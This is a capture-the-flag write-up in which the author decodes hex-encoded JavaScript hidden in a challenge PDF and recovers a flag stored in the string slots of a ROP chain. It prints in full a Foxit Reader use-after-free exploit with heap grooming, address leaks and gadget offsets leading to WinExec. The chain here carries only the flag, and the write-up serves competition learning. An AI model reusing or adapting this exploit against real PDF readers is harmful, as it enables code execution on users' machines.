swiss hacking challenge 2024 - printer-destroyer-format

Posted on May 1, 2024

Difficulty: baby

Category: forensics

Author: xnull

I received a todo list from IT which I really need to complete. Clippy is telling lies and says it is not safe to open this PDF :( Stupid Clippy

Files

We are given a todo-list.pdf

Exploitation

Running strings on the PDF results in this huge chunk of hex data:

76617220686561705F707472203D20303B0D0A76617220666F7869745F62617365203D20303B0D0A7661722070776E5F6172726179203D205B5D3B0D0A0D0A66756E6374696F6E20707265706172655F686561702873697A6529207B0D0A2020202076617220617272203D206E65772041727261792873697A65293B0D0A20202020666F7220287661722069203D20303B2069203C2073697A653B20692B2B29207B0D0A20202020202020206172725B695D203D20746869732E616464416E6E6F74287B20747970653A20225465787422207D293B3B0D0A202020202020202069662028747970656F66206172725B695D203D3D20226F626A6563742229207B0D0A2020202020202020202020206172725B695D2E64657374726F7928293B0D0A20202020202020207D0D0A202020207D0D0A7D0D0A0D0A66756E6374696F6E2067632829207B0D0A20202020636F6E7374206D61784D616C6C6F634279746573203D20313238202A2030783130303030303B0D0A20202020666F7220287661722069203D20303B2069203C20333B20692B2B29207B0D0A20202020202020207661722078203D206E6577204172726179427566666572286D61784D616C6C6F634279746573293B0D0A202020207D0D0A7D0D0A0D0A66756E6374696F6E20616C6C6F635F61745F6C65616B2829207B0D0A20202020666F7220287661722069203D20303B2069203C20307836343B20692B2B29207B0D0A202020202020202070776E5F61727261795B695D203D206E657720496E7433324172726179286E6577204172726179427566666572283078343029293B0D0A202020207D0D0A7D0D0A0D0A66756E6374696F6E20636F6E74726F6C5F6D656D6F72792829207B0D0A20202020666F7220287661722069203D20303B2069203C20307836343B20692B2B29207B0D0A2020202020202020666F722028766172206A203D20303B206A203C2070776E5F61727261795B695D2E6C656E6774683B206A2B2B29207B0D0A20202020202020202020202070776E5F61727261795B695D5B6A5D203D20666F7869745F62617365202B20307830316137656532333B202F2F2070757368206563783B20706F70206573703B20706F70206562703B2072657420340D0A20202020202020207D0D0A202020207D0D0A7D0D0A0D0A66756E6374696F6E206C65616B5F767461626C652829207B0D0A202020207661722061203D20746869732E616464416E6E6F74287B20747970653A20225465787422207D293B0D0A0D0A20202020612E64657374726F7928293B0D0A20202020676328293B0D0A0D0A20202020707265706172655F68656170283078343030293B0D0A202020207661722074657374203D206E65772041727261794275666665722830783630293B0D0A202020207661722073746F6C656E203D206E657720496E74333241727261792874657374293B0D0A0D0A20202020766172206C65616B6564203D2073746F6C656E5B305D202620307866666666303030303B0D0A20202020666F7869745F62617365203D206C65616B6564202D20307830316635303030303B0D0A7D0D0A0D0A66756E6374696F6E206C65616B5F686561705F6368756E6B2829207B0D0A202020207661722061203D20746869732E616464416E6E6F74287B20747970653A20225465787422207D293B0D0A20202020612E64657374726F7928293B0D0A20202020707265706172655F68656170283078343030293B0D0A0D0A202020207661722074657374203D206E65772041727261794275666665722830783630293B0D0A202020207661722073746F6C656E203D206E657720496E74333241727261792874657374293B0D0A0D0A20202020616C6C6F635F61745F6C65616B28293B0D0A20202020686561705F707472203D2073746F6C656E5B315D3B0D0A7D0D0A0D0A66756E6374696F6E207265636C61696D2829207B0D0A2020202076617220617272203D206E65772041727261792830783130293B0D0A20202020666F7220287661722069203D20303B2069203C206172722E6C656E6774683B20692B2B29207B0D0A20202020202020206172725B695D203D206E65772041727261794275666665722830783630293B0D0A202020202020202076617220726F70203D206E657720496E7433324172726179286172725B695D293B0D0A0D0A2020202020202020726F705B307830305D203D20686561705F7074723B202020202020202020202020202020202F2F20706F696E74657220746F206F757220737461636B207069766F742066726F6D207468652054797065644172726179206C65616B0D0A2020202020202020726F705B307830315D203D20666F7869745F62617365202B20307830316131316430393B202F2F20786F72206562782C6562783B206F72205B6561785D2C6561783B207265740D0A2020202020202020726F705B307830325D203D20307837323732373237323B20202020202020202020202020202F2F206A756E6B0D0A2020202020202020726F705B307830335D203D20666F7869745F62617365202B203078303030303134353020202F2F20706F70206562703B207265740D0A2020202020202020726F705B307830345D203D20307866666666666666663B20202020202020202020202020202F2F20726574206F662057696E457865630D0A2020202020202020726F705B307830355D203D20666F7869745F62617365202B20307830303639613830323B202F2F20706F70206561783B207265740D0A2020202020202020726F705B307830365D203D20666F7869745F62617365202B20307830316632323537633B202F2F204941542057696E457865630D0A2020202020202020726F705B307830375D203D20666F7869745F62617365202B20307830303030633663303B202F2F206D6F76206561782C5B6561785D3B207265740D0A2020202020202020726F705B307830385D203D20666F7869745F62617365202B20307830303034396434653B202F2F2078636867206573692C6561783B207265740D0A2020202020202020726F705B307830395D203D20666F7869745F62617365202B20307830303032356364363B202F2F20706F70206564693B207265740D0A2020202020202020726F705B307830615D203D20666F7869745F62617365202B20307830303431633663613B202F2F207265740D0A2020202020202020726F705B307830625D203D20666F7869745F62617365202B20307830303032353466633B202F2F207075736861643B207265740D0A0D0A0D0A2020202020202020726F705B307830635D203D20307833323633363837330D0A2020202020202020726F705B307830645D203D20307837623334333233300D0A2020202020202020726F705B307830655D203D20307837303639366336330D0A2020202020202020726F705B307830665D203D20307836333566373937300D0A2020202020202020726F705B307831305D203D20307835663734366536310D0A2020202020202020726F705B307831315D203D20307837303663363536380D0A2020202020202020726F705B307831325D203D20307837353666373935660D0A2020202020202020726F705B307831335D203D20307837643231323135660D0A2020202020202020726F705B307831345D203D20307830303030303030300D0A2020202020202020726F705B307831355D203D20307830303030303030300D0A2020202020202020726F705B307831365D203D20307830303030303030300D0A0D0A0D0A2020202020202020726F705B307831375D203D20307830303030303030303B0D0A202020207D0D0A7D0D0A0D0A66756E6374696F6E20747269676765725F7561662829207B0D0A202020207661722074686174203D20746869733B0D0A202020207661722061203D20746869732E616464416E6E6F74287B20747970653A202254657874222C20706167653A20302C206E616D653A202275616622207D293B0D0A2020202076617220617272203D205B315D3B0D0A202020204F626A6563742E646566696E6550726F70657274696573286172722C207B0D0A20202020202020202230223A207B0D0A2020202020202020202020206765743A2066756E6374696F6E202829207B0D0A0D0A20202020202020202020202020202020746861742E676574416E6E6F7428302C202275616622292E64657374726F7928293B0D0A0D0A202020202020202020202020202020207265636C61696D28293B0D0A2020202020202020202020202020202072657475726E20313B0D0A2020202020202020202020207D0D0A20202020202020207D0D0A202020207D293B0D0A0D0A20202020612E706F696E74203D206172723B0D0A7D0D0A0D0A66756E6374696F6E206D61696E2829207B0D0A202020206C65616B5F686561705F6368756E6B28293B0D0A202020206C65616B5F767461626C6528293B0D0A20202020636F6E74726F6C5F6D656D6F727928293B0D0A20202020747269676765725F75616628293B0D0A7D0D0A0D0A6D61696E28293B

Converting this back into ascii using binascii.unhexlify results in the following fake exploit JavaScript code:

var heap_ptr = 0;
var foxit_base = 0;
var pwn_array = [];

function prepare_heap(size) {
    var arr = new Array(size);
    for (var i = 0; i < size; i++) {
        arr[i] = this.addAnnot({ type: "Text" });;
        if (typeof arr[i] == "object") {
            arr[i].destroy();
        }
    }
}

function gc() {
    const maxMallocBytes = 128 * 0x100000;
    for (var i = 0; i < 3; i++) {
        var x = new ArrayBuffer(maxMallocBytes);
    }
}

function alloc_at_leak() {
    for (var i = 0; i < 0x64; i++) {
        pwn_array[i] = new Int32Array(new ArrayBuffer(0x40));
    }
}

function control_memory() {
    for (var i = 0; i < 0x64; i++) {
        for (var j = 0; j < pwn_array[i].length; j++) {
            pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4
        }
    }
}

function leak_vtable() {
    var a = this.addAnnot({ type: "Text" });

    a.destroy();
    gc();

    prepare_heap(0x400);
    var test = new ArrayBuffer(0x60);
    var stolen = new Int32Array(test);

    var leaked = stolen[0] & 0xffff0000;
    foxit_base = leaked - 0x01f50000;
}

function leak_heap_chunk() {
    var a = this.addAnnot({ type: "Text" });
    a.destroy();
    prepare_heap(0x400);

    var test = new ArrayBuffer(0x60);
    var stolen = new Int32Array(test);

    alloc_at_leak();
    heap_ptr = stolen[1];
}

function reclaim() {
    var arr = new Array(0x10);
    for (var i = 0; i < arr.length; i++) {
        arr[i] = new ArrayBuffer(0x60);
        var rop = new Int32Array(arr[i]);

        rop[0x00] = heap_ptr;                // pointer to our stack pivot from the TypedArray leak
        rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret
        rop[0x02] = 0x72727272;              // junk
        rop[0x03] = foxit_base + 0x00001450  // pop ebp; ret
        rop[0x04] = 0xffffffff;              // ret of WinExec
        rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret
        rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec
        rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret
        rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret
        rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret
        rop[0x0a] = foxit_base + 0x0041c6ca; // ret
        rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret


        rop[0x0c] = 0x32636873
        rop[0x0d] = 0x7b343230
        rop[0x0e] = 0x70696c63
        rop[0x0f] = 0x635f7970
        rop[0x10] = 0x5f746e61
        rop[0x11] = 0x706c6568
        rop[0x12] = 0x756f795f
        rop[0x13] = 0x7d21215f
        rop[0x14] = 0x00000000
        rop[0x15] = 0x00000000
        rop[0x16] = 0x00000000


        rop[0x17] = 0x00000000;
    }
}

function trigger_uaf() {
    var that = this;
    var a = this.addAnnot({ type: "Text", page: 0, name: "uaf" });
    var arr = [1];
    Object.defineProperties(arr, {
        "0": {
            get: function () {

                that.getAnnot(0, "uaf").destroy();

                reclaim();
                return 1;
            }
        }
    });

    a.point = arr;
}

function main() {
    leak_heap_chunk();
    leak_vtable();
    control_memory();
    trigger_uaf();
}

The only interesting part however is the following:

rop[0x0c] = 0x32636873
rop[0x0d] = 0x7b343230
rop[0x0e] = 0x70696c63
rop[0x0f] = 0x635f7970
rop[0x10] = 0x5f746e61
rop[0x11] = 0x706c6568
rop[0x12] = 0x756f795f
rop[0x13] = 0x7d21215f

When decoding all hex values line by line, we get the following:

2chs
{420
pilc
c_yp
_tna
pleh
uoy_
}!!_

That gives us the string 2chs{420pilcc_yp_tnaplehuoy_}!!_, which almost looks like a flag, however the byteorder is inverted.

The easiest way to fix this in my opinion is to use the Swap endianness block in CyberChef, which then shows us the flag:

Flag

shc2024{clippy_cant_help_you_!!}

Conclusion

Hiding the flag in some “ROP chain” is a pretty fun idea, which probably increased the difficulty quite a lot. I found the corresponding blocks pretty quickly by searching for the hex representations of s/h/c in the code.